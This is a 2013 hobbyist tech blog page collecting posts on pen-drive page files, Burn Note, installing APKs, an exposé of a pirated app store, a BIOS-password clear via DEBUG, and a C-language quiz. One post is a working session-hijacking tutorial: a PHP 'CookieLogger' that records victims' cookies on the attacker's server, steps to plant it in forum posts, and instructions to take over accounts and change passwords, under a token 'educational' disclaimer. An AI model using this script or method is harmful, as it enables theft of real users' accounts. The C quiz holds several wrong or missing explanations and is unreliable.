#Post Title #Post Title #Post Title
Wednesday 31 July 2013

How To Make and Use Your Pen-drive as RAM


How To Make and Use Your Pen-drive as RAM

Hi! friends again i am here with some cool stuff. Today i will tell you how you can make and use your pen drive as RAM. First of all i would like to tell you what is the need of making pen drive as RAM.
There are many uses of RAM. It speeds up you Personal Computer and allow large no. of files to open and install at once, and who did not want high speed. You can speed up your computer by your Pen-drive. it's easy just follow the simple steps below.

Before starting the tutorial, first of all make sure you have logged in as administrator and have all permissions of the computer.

To make and use your pen drive work as RAM, just follow these simple steps :


Step 1:

First of all insert the pen drive in your personal computer and your computer should read it.
make sure that the pen drive must be at least 2 gb of space or more


Step 2:
Right click on my computer, then choose properties from the drop down menu

Step 3:
Now click on advanced tab in the personalize window, then click on settings under performance 


Step 4:
Click on advanced tab then click on change button

Step 5:
Now select your pen drive and then click on custom size , then for 2 gb pen drive make these changes 
initial size = 1024   and   maximum size =1024
You can change these settings according to the size of the pen drive and how much space you want to use as RAM .


Step 6:
Now apply these changes then click on ok button, then just make your pen drive inserted and restart the computer. and yeah do not remove pen-drive in between when using it as RAM. 
Congrats! you have done it! now feel the changes and enjoy the high speed of your computer. If having any problem or query, feel free to comment :)
[ Read More ]
Tuesday 23 July 2013

Create and Share Timer Based Self-Destructing Notes With Burn Note


[Quick Tip] Create and Share Timer Based Self-Destructing Notes With Burn Note

Ads by Google



Burning-Note-ThumbnailSometimes, when we chat with people online, we tend to backup the chat history as a proof of agreement or as an asset of memorable moments. I wish all those chat services had an incognito mode too. Something of a sort where we could set the chat conversation to automatically delete after a certain period of time (even while the conversation is still on).
That helps when we have something very confidential to share and wish to leave no trace whatsoever. Stuck for a similar need? Burn Note is what might help.
Burn-Note-Interface
All you need to do is navigate to the service website, type your message and click on the Send button. Well, that’s not just it. If you want you can expand the Options menu and choose the type of note display, enable/disable timer, set expiry time and choose a password.
Burn-Notes-Options
As you click on the send button, you will be presented a unique link that you can share with the recipient.
Burn-Note-Link
The recipient, on opening the link will be asked for a password (if you have set it) and will be allowed to read the message only within the given time frame, or burn it before time and/or reply as well.
Received-Note
You may choose to create an account for yourself which will help you in storing the messages that you send. It will also allow you to maintain contacts and few more tasks.
[ Read More ]

Android for Beginners: What is an APK File?

Android for Beginners: What is an APK File?


1
Android for Beginners Graphic
If you're new to Android and would like to start downloading leaked apps and customizing your Android experience, you'll need to know about APK files. In the following guide, you'll learn why APK files are important, how to download them to your computer or phone and, finally, how to install 'em. Read on for all the juicy details

What is an APK File?

An APK file is a file format used to distribute and install software (usually games or applications) on the Android operating system. Downloading the APK allows you to install programs without needing access to sites like Google Play (or AndroidPIT). To install these files, it's not even necessary to be connected to the Internet.

Why Would I Want to Install an APK File?

Installing APK files allows you to install apps that have leaked ahead of their official release (like Flipboard, for example). Alternately, you can download apps that have been banned (like Market Changer, which trickers Google Play into thinking you're from another country). Often APK files from new Android builds are leaked, giving you early access to features like Google Now that you wouldn't have been able to get without downloading them on your own. You could say that APK files allow one to bypass carriers to get the latest Google updates. Alternately, if your Android device lacks access to Google Play, APK files may be the only way to get apps on your device.

Installing APK Files from Your Computer

There are many websites that host APK files. Be sure to choose one you trust so you don't accidentally upload a malicious file to your phone. Generally, APK files hosted on sites like XDA should be saf(er) to download. Read reviews before you download.
First, download the APK file to an easy-to-find location in a folder or on your desktop. Before installing anything on your phone, you'll need to properly enable your phone by going to Menu > Settings > Security > check "Unknown Sources" to allow your phone to install apps from sources other than the Google Play Store. You should also download an app like ES File Explorer so you can easily find the app you transfered from your computer to your Android.
Start by connecting your device to your computer. At this point, you'll be asked on your phone if you're only interested in charging your phone or would like to connect it as a "media device." Choose the latter. Then simply find your phone on your computer and drag, then drop, your APK file in the folder of your choice on your Android.
You'll be able to find the downloaded app by going to ES File Explorer and clicking on the desired folder. Find the APK file, click on it, then click "install." You're done.

Installing APK Files from Your Browser

Alternately, you can install APK files from the browser on your Android. Just open your browser, click on the APK file to download and you'll see it downloading in the top bar of your phone. Once done, open the "Downloads" icon, click the .apk file, click "yes" and the app will begin downloading to your Android. DONE.
[ Read More ]

How to Install apk files

 How to Install Them apk files





If you want to install an application on Windows, we have an .exe file for that. For Mac OS X, we have .dmg files. Those of you who come from Symbian and Java phones background must be knowing about the .sis, .sisx and .jar files. In the same way way, have a specific file format for Android smartphones that is used to install application on it and it is called an APK file (because it has the extension of .apk)
android-image
When you install applications from Google Play (formerly known as Android Market) everything is automated and you don’t get to know where the files are being downloaded, what is the extension of the file and how the installation is being performed. (image credit: Lynn)
So as long as you are using Google Play alone to install apps on your Android, you don’t have to worry about a thing. But there may be instances when you want to install an application manually, could be a beta application from developer’s website or maybe your friend transferred it to you over Bluetooth (we will see how to do that in my next post).
As I mentioned, the apps come as APK files so that they could be installed on an Android device. Now the thing is, unlike the .exe and .dmg files, these files cannot be installed directly, and we will have to make some arrangements on our Android device first. So let’s see how can you install these APK files manually when you get one someday.

Steps to Install APK Files on Android

First of all, we will have to enable the option to install the applications from unknown source on our Android. Open your Android system settings and click on Applications (Programs for some of the HTC devices) and check the option Unknown source. Those of you who are on Android ICS 4.0 you will find these settings under the security settings.
Screenshot_2012-03-23-13-45-13Screenshot_2012-03-23-13-45-08
On most of the devices, you can now simply click on the file using any of the file managers to install them, using the built-in package manager. If your device does not have a package installer by default, you can download and install an APK installer application from Google Play.

Using the APK Installer App to Quickly Install Third-party APK Files

When you want to install an APK manually, just open the APK installer app and navigate to the folder where you have your APK files saved. Now, simply click on the application to bring on the installation screen. Click the install button to successfully install the application.
Screenshot_2012-03-23-13-48-06Screenshot_2012-03-23-13-48-16
Before I conclude, I should caution you to be a bit careful while installing apps from unknown sources. Always make sure that the source is reliable and trustworthy because there are many Android malware on the loose over the internet just waiting for you to make a mistake.
If you are a longtime Android user and have some APK tricks up your sleeve, fire away in the comments!

[ Read More ]

get paid android apps for free


Exclusive: Indian App Store Provides Paid Google Play Apps For Free

hi after a long break i am back with this outstanding post i hope u all will enjoy it
 
It’s no secret that many Android developers are struggling to make substantial revenue from their apps on the Play Store, and it’s also no secret that Android apps are insanely easy to pirate. Well, I hate to say this, but stealing paid Android apps just got a hell of a lot easier, as we recently discovered an adequately designed and completely functional hacked Android platform that allows you to download thousands of (if not more) paid Android apps completely for free. 
iPhone users who have jailbroken their devices have long had access to the “jailbroken” app store, which is basically an Apple App Store that allows you to download paid IOS apps for free. While I have seen some small 3rd party Android markets attempt to do the same, this platform takes piracy to an entirely new level, and is pretty much a big smack in the face to lots of hard working app developers that are already struggling to make ends meet. The reason I refer to this app as the “jailbroken” version of Android is because the same jailbreak exploit that was used for the jailbroken Apple App store is also being used for this one.
Before I go further, I cannot stress how much AndroidPIT is against this entire scam. I debated on even writing this article to expose this app, as it could in a way promote piracy. But to ignore it and to allow thousands of developers to go out of pocket is also no solution. After testing the fake app myself by downloading a paid application that I already own (I used a separate Gmail account), I can confirm that it’s working.
Android India is a huge (and legal)  app recommendation platform that allows you to freely browse localized apps hosted on the Google Play Store. It lets users search apps by region, allowing them to download apps that could appeal to them on a geographical basis, and then redirects them to the Play Store should they decide to purchase it. The problem is that the entire Android India marketplace has not only been hacked, but that a separate marketplace that can be downloaded as an apk file has also been created, providing a database paid apps that can be downloaded at no cost. 
Once you download and install the apk, all apps (including newer paid titles) can be completely downloaded for free, and display the status “Cracked” with a smiley face next to it (or with the info on who's already cracked the app), as shown here:
To say that the maker (or makers) of this app is bold is an understatement, as you can see by the wording used to describe the hacked platform (I have removed the name of the hacked apk file from all screenshots, so please don't ask me for the apk file or for the name of it):
When I tested downloading a paid app that required additional data, the license verification check also passed, and within minutes I was using the app on my device. I also noticed that the uninstall function of the hacked platform doesn’t work, and that I still had to go into settings-applications on my phone to completely uninstall it. But even after doing that, I was able to locate the apk on my phone's memory. The app is even bold enough to display the price you would normally pay for the app if you weren't stealing it (which is really insulting for developers), as shown here:
Another discovery that I found really strange is that you have the choice to install the paid app legally or illegally, as pressing the “install” button will download and install it to your device at no cost, and pressing the “market” button (which is conviently located right next to the "install" button) will redirect you to Google Play to purchase the app. Here's a screenshot showing what I mean (again, the name of the store has been removed from the photos):
For anyone who’s too cheap to shell out 79 cents or a few bucks to support developers of great apps, you should know that if you use this marketplace, you have no idea where your data is going or if the apk is infected with trojans or malware. The only thing this platform promotes is stealing, and is just plain stupid on so many levels. While I can't provide you with an exact number of how many paid apps the platform contains, I can say that every paid app I searched for was found, and could be downloaded at no cost. 
I find it pretty lame that so many people steal Android apps, as even high quality games/apps like Nova 3 or Max Payne only cost a few bucks. The main thing that platforms like this accomplish is to create more fremium titles for Android, which is something that enough people already hate. Afterall, if developers can't generate enough revenue from sales of the apps, what other choice do they have?
We reached out to Google directly in regards to this rogue platform, and have supplied them with the apk file and all relevant data on where it was found. We are currently awaiting an official statement. 
I'm sure there might be some peoplle reading this who will manage to find the apk, download it, and steal to their hearts desire. Unfortunately, that's something we can't stop. With so many developers putting in long hours in making these apps, and with so many worried about security on their mobile device, it's pretty hard to believe that shelling out a few bucks for a game like The Dark Knight Rises (which includes a lifetime of updates), is such a hard thing for so many to do. 
So do the right thing guys. Download your apps from trusted sources, support the developers of the apps you love, and help keep those talented devs coming back to Google Play. After all, it's things like this that drive them more to IOS, and encourage them to develop even more of those pesky fremium titles.
[ Read More ]
Wednesday 1 May 2013

How To Hack any Account By CookieLogger | Create a CookieLogger and Hack any Account

How To Hack any Account By CookieLogger | Create a CookieLogger and Hack any Account

hi this me ritesh i have a post for u all reader which i have copied from my brothers blog i hope u all will enjoy it 



Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.
What is a CookieLogger?
A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.
Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …
Step 1: Save the notepad file from the link below and Rename it as Fun.gif:
Download it.
Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
Step 3: Create a new Notepad File and Save it as logfile.txt
Step 4: Upload this file to your server
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif
If you don’t have any Website then you can use the following Website to get a Free Website which has php support :
http://0fees.net
Step 5: Go to the victim forum and insert this code in the signature or a post :
Download it.
Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.
Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.
Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.
Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only
Enjoy !!
[ Read More ]

Crack BIOS password using CMD

Crack BIOS password using CMD


This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:


Open Command Prompt (CMD) and type:


Type DEBUG command and hit enter
-o 70 2e and hit enter
-o 71 ff and hit enter
-q and hit enter
exit and hit enter


Restart the computer
[ Read More ]
Saturday 27 April 2013

C LANGUAGE QUESTIONS WITH SOLUTION

C language objective types questions and answers with solution or explanation

1.

#include<stdio.h>
int main(){
    int a=0;
    #if (a==0)
         printf("Equal");
    #else if
         printf("Not equal");
    #endif
    return 0;
}

(A) Equal
(B) Not equal
(C) Null
(D) Garbage
(E) Compilation error


Explanation:

Syntax of conditional preprocessor directive (if) is:

#if <Constant expression>
#else
#endif

In this code (a==0) is not constant expression. A constant expression mean expression doesn’t contain any variables.
Note: const int a; Here a is also variable     

2.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    for(;NULL;)
         printf("cquestionbank");
    return 0;
}

(A) c
(B) bank
(C) cquestionbank
(D) Infinite loop
(E) Compilation error


Explanation:

Here NULL is micro constantan. Value of this symbolic constant is 0 or 0L as defined stdio.h:

#ifndef NULL
#  if defined(__TINY__) || defined(__SMALL__) || defined(__MEDIUM__)
#      define NULL    0
#  else
#      define NULL    0L
#  endif
#endif

So corresponding intermediate file of above code will be:


int main(){
    for(;0;)
    printf("cquestionbank");
    return 0;
}

As you know in c :
0: Means false
Non- zero: True

So for loop should not execute any time because intitial condtion is false. But it is bug of turbo c compiler. Loop will execute one time and it will print : cquestionbank

3.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int x=25;
    if(!!x)
         printf("%d",!x);
    else
         printf("%d",x);
    return 0;
}

(A) 0
(B) 25
(C) 1
(D) -1
(E) 2

Explanation:

! is negation operator.
!x = 0 if x is non-zero number.
!x = 1 if x is equal to zero.
So,
!!x
=! (! x)
=! (! 25)
=! (0)
=1
As we know in c:
Zero: It represents false.
Non-zero: It represents false.
if (1) means condition is true hence if part will execute.
!x =! 1 = 0
Hence printf statement will print zero in the console window.

4.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    float a=0.5, b=0.9;
    if(a&&b>0.9)
         printf("Sachin");
    else
         printf("Rahul");
    return 0;
}

(A) Sachin
(B) Rahul
(C) null
(D) Run time error
(E) Compilation error


Explanation:

Consider on the expression:
a && b > 0.9
As we know > operator enjoy higher precedence than && operator.
So expression will be
a && (b > 0.9)
=0.5 && (0.9 > 0.9)
Properties of > (Greater than operator)
a > b returns 1 if a is greater than b.
a > b return 0 if a is less than or equal to b.
So our expression became:
= 0.5 && 0
In c zero represents false and non-zero represents true.
= true && false
= false
= 0
So, if (0) means condition is false. Hence else part will execute.

5.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int x=5, y=10;
    if(!(!x) && x)
         printf("%d",x);
    else
         printf("%d",y);
    return 0 ;
}

(A) 1
(B) 0
(C)
5
(D) 10
(E) Compilation error


Explanation:

Consider on expression:
! (! x) && x
=! (! 5) && 5
=! 0 && 5
=1 && 5
=1
So, if condition is true.

6.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    char ch=321;
    printf("%d %c",ch,ch);
    return 0 ;
}

(A) 321 #
(B) 65 A
(C) 321 !
(D) 66 B
(E) Compilation error


Explanation:

Number 321 is beyond the range of char variable ch. So ch will store corresponding cyclic value as shown in the figure:


Equivalent cyclic value of 321 = 321 % 128 = 65
65 is ASCII value of character 'A'

7.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
int a,b;
    a = -3- -3;
    b = -3 - - (-3 );
    printf("%d %d",a,b);
    return 0 ;
}

(A) 0 0
(B) 0 -3
(C) -3 0
(D) 0 -6
(E) Compilation error


Explanation:

- Operator in c has two forms:
- : Unary minus operator (It requires one operand)
- : Binary minus operator (It requires two operands)
Note: Unary minus operator has higher precedence than binary minus operator.

8.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int x;
    x= -2 + 11 - 7 * 9 % 6 / 12;
    printf("%d",x);
    return 0 ;
}

(A) 6
(B) 7
(C) 8
(D) 9
(E) Compilation error


Explanation:

Consider on the expression
x = -2 + 11 - 7 * 9 % 6 / 12
There are seven different type of operator in the above expression:



Operator
Precedence
Associative
-
1
Right to left
* , % , /
2
Left to right
- , +
3
Left to right
=
4
Right to left

First of all unary minus will perform the operation
 x = (-2) + 11 - 7 * 9 % 6 / 12
 Now multiplication operator will perform the operation
 x = (-2) + 11 - (7 * 9) % 6 / 12
 x = (-2) + 11 - 63 % 6 / 12
 After this modular division operator will perform operation:
 x = (-2) + 11 - (63 % 6) / 12
 x = (-2) + 11 - 3  / 12
 After this division will perform the operation:
 x = (-2) + 11 - (3 / 12)
 x = (-2) + 11 - 0
 Now binary plus operator will perform the operation:
 x = ((-2) + 11) - 0
 x = 9 - 0
 Now binary minus operator will perform the operation:
 x = 9
 At the end assignment operator will perform the operation and it will assign 9 to variable x.

9.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int x=3, y=4, z=4;
    printf("%d", (z>=y>=x?100:200));
   
    return 0 ;
}

(A) 100
(B) 200
(C) 0
(D) 1
(E) Compilation error


Explanation:

Consider on arithmetical expression:
z>=y>=x? 100:200
= (z >= y >= x? 100: 200)
= (4 >= 4 >= 3? 100: 200)
= ((4 >= 4) >= 3? 100: 200)
= (1 >= 3? 100: 200)
= (0? 100: 200)
= 200

10.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int a=30, b=40, x;
    x=(a!=10) && (b=50);
    printf("%d",x);
    return 0 ;
}

(A) 1
(B)
2
(C)
3
(D) 4
(E) Compilation error


Explanation:

(a!= 10) && (b = 50)
= (30! = 10) && (50)
= 1 && 50
= 1

11.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    float x=12.25, y=13.65;
    if(x=y)
         printf("x and y are equal");
    else
         printf("x and y are not equal");
    return 0 ;
}

(A) x and y are equal
(B) x and y are not equal
(C) It will print nothing
(D) Run time error
(E) Compilation error


Explanation:

= is assignment operator.
So, x=y value of variable y will assign to variable x.
    x= 13.65
As we know in c:
Zero represents false.
Any non-zero number represents true.
Hence if (13.65) is true condition.

12.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int i=1, j=1;
    for(;j;printf("%d%d\t",i,j))
         j=i++ <= 5;
    return 0 ;
}
(A) 1 2 3 4 5
(B) 11 12 13 14
(C)
21 31 41 51 61 70
(D) Infinite loop
(E) Compilation error


Explanation:

Syntax of for loop is:

for (exp1;exp2;exp3){
    <Statements>
}
Note: all Exp1, Exp2, Exp3 and <statements> are optional.
Order of evaluation is:
In first cycle
1. Exp1
2. Exp2
3. <Statement>
4. Exp2
In rest cycles
1. Exp2
2. <Statements>
3. Exp3
Now we come to our question.
In first cycle
1. It has not exp1
2. Exp2 is j which is equal to 1 i.e. condition is true
3. <Statements> is j=i++ <= 5
j = 1 <= 5
j = 1
i = 2 (Due to postfix increment operator)
4. Exp3 is printf statement which will print i as 2 and j as 1

In second cycle
1. Exp2 is j which is equal to 1 i.e. condition is true
2. <Statements> is j=i++ <= 5
j = 2 <= 5
j = 1
i = 3 (Due to postfix increment operator)
3. Exp3 is printf statement which will print i as 3 and j as 1

In third cycle
1. Exp2 is j which is equal to 1 i.e. condition is true
2. <Statements> is j=i++ <= 5
j = 3 <= 5
j = 1
i = 4 (Due to postfix increment operator)
3. Exp3 is printf statement which will print i as 4 and j as 1

In fourth cycle
1. Exp2 is j which is equal to 1 i.e. condition is true
2. <Statements> is j=i++ <= 5
j = 4 <= 5
j = 1
i = 5 (Due to postfix increment operator)
3. Exp3 is printf statement which will print i as 4 and j as 1

In fifth cycle
1. Exp2 is j which is equal to 1 i.e. condition is true
2. <Statements> is j=i++ <= 5
j = 5 <= 5
j = 1
i = 6 (Due to postfix increment operator)
3. Exp3 is printf statement which will print i as 6 and j as 1

In sixth cycle
1. Exp2 is j which is equal to 1 i.e. condition is true
2. <Statements> is j=i++ <= 5
j = 6 <= 5
j = 0
i = 7 (Due to postfix increment operator)
3. Exp3 is printf statement which will print i as 7 and j as 0

In seventh cycle
1. Exp2 is j which is equal to 0 i.e. condition is false. So loop will terminate.

13.

What function is used to release the allocated memory space?

(A) deallocate()
(B) release ()
(C) free ()
(D) drop()
(E) empty ()


Explanation:
**

14.

What will be output if you will execute following c code?

#include<stdio.h>
auto int a=5;
int main(){
    int x;
    x=~a+a&a+a<<a;
    printf("%d",x);
    return 0;
}


(A)
0
(B) 1
(C) 154
(D) 155
(E) Compilation error


Explanation:
**

15.

What will be output if you will execute following c code?

#include<stdio.h>
void main(){
    int a=5;
    {
         int b=10;
         ++b;
         ++a;
         {
             int a=20;
             ++a;
             a=++b;
         }
         ++a;
         ++b;
         printf("%d %d",a,b);
    }
    printf(" %d",a);
}

(A) 7 13 7
(B) 13 13 13
(C) 13 13 5
(D)
6  13 5
(E) Compilation error


Explanation:
**

16.

What will be output if you will execute following c code?

#include<stdio.h>
#include<conio.h>
void main(){
    int a[]={0,1,2,3,4,5,6,7,8,9,10};
    int i=0,num;
    num=a[++i+a[++i]]+a[++i];
    printf("%d",num);
}

(A) 6
(B) 7
(C) 8
(D) 9
(E) Compilation error


Explanation:

a[++i+a[++i]]+a[++i]

As we know in any expression pre increment operator first increment the value of variable  then final value assign to all variable.
Variable i has incremented three times so final value of I will be 3. Now 3 will be assigned to all i. So expression will be:
= a [3+a [3] +a [3]
= a [3 + 3] + 3
=a [6] + 3
= 6 + 3
=9

17.

What will be output if you will execute following c code?

#include<stdio.h>
#include<conio.h>
void main(){
    int i=3,val;
    val=sizeof f(i)+ +f(i=1)+ +f(i-1);
    printf("%d %d",val,i);
}
int f(int num){
    return num*5;
}

(A) 2 0
(B) 7 1
(C) 17 0
(D)
2 1
(E) Compilation error


Explanation:

Consider on the expression:
sizeof f(i)+ +f(i=1)+ +f(i-1)  //i=3
= sizeof f(3)+ +f(i=1)+ +f(i-1)
= sizeof 15 + +f(i=1)+ +f(i-1) 
= 2 + +f(i=1)+ +f(i-1)
= 2 + f(1) +  +f(0)  //i=1
= 2 + 5 + f(0)
= 7 + 0
= 7

18.

What will be output if you will execute following c code?

#include<stdio.h>
#include<conio.h>
void main(){
    int i;
    (i=8)+=1;
    printf("%d",i);
}

(A) 9
(B) 10
(C) 32
(D) 34
(E) Compilation error


Explanation:
**

19.

What will be output if you will execute following c code?

#include<stdio.h>
#include<conio.h>
void main(){
    char c=-'a';
    printf("%d",c);
}

(A) 65
(B) -65
(C)
-a
(D) -97
(E) Compilation error


Explanation:

ASCII value of character ‘a’ is 97.

20.

What will be output if you will execute following c code?

#include<stdio.h>
int main(){
    int num,a=5;
    num=-a--;
    printf("%d  %d",num,a);
}

(A) 5  4
(B) -4 4
(C) -5 4
(D) -4 5
(E) Compilation error


Explanation:

Post decrement operator first assign the value then it decrements the value. 
num = -a—-
num = -5
Now value of variable a will be 4.

[ Read More ]
 
 

Labels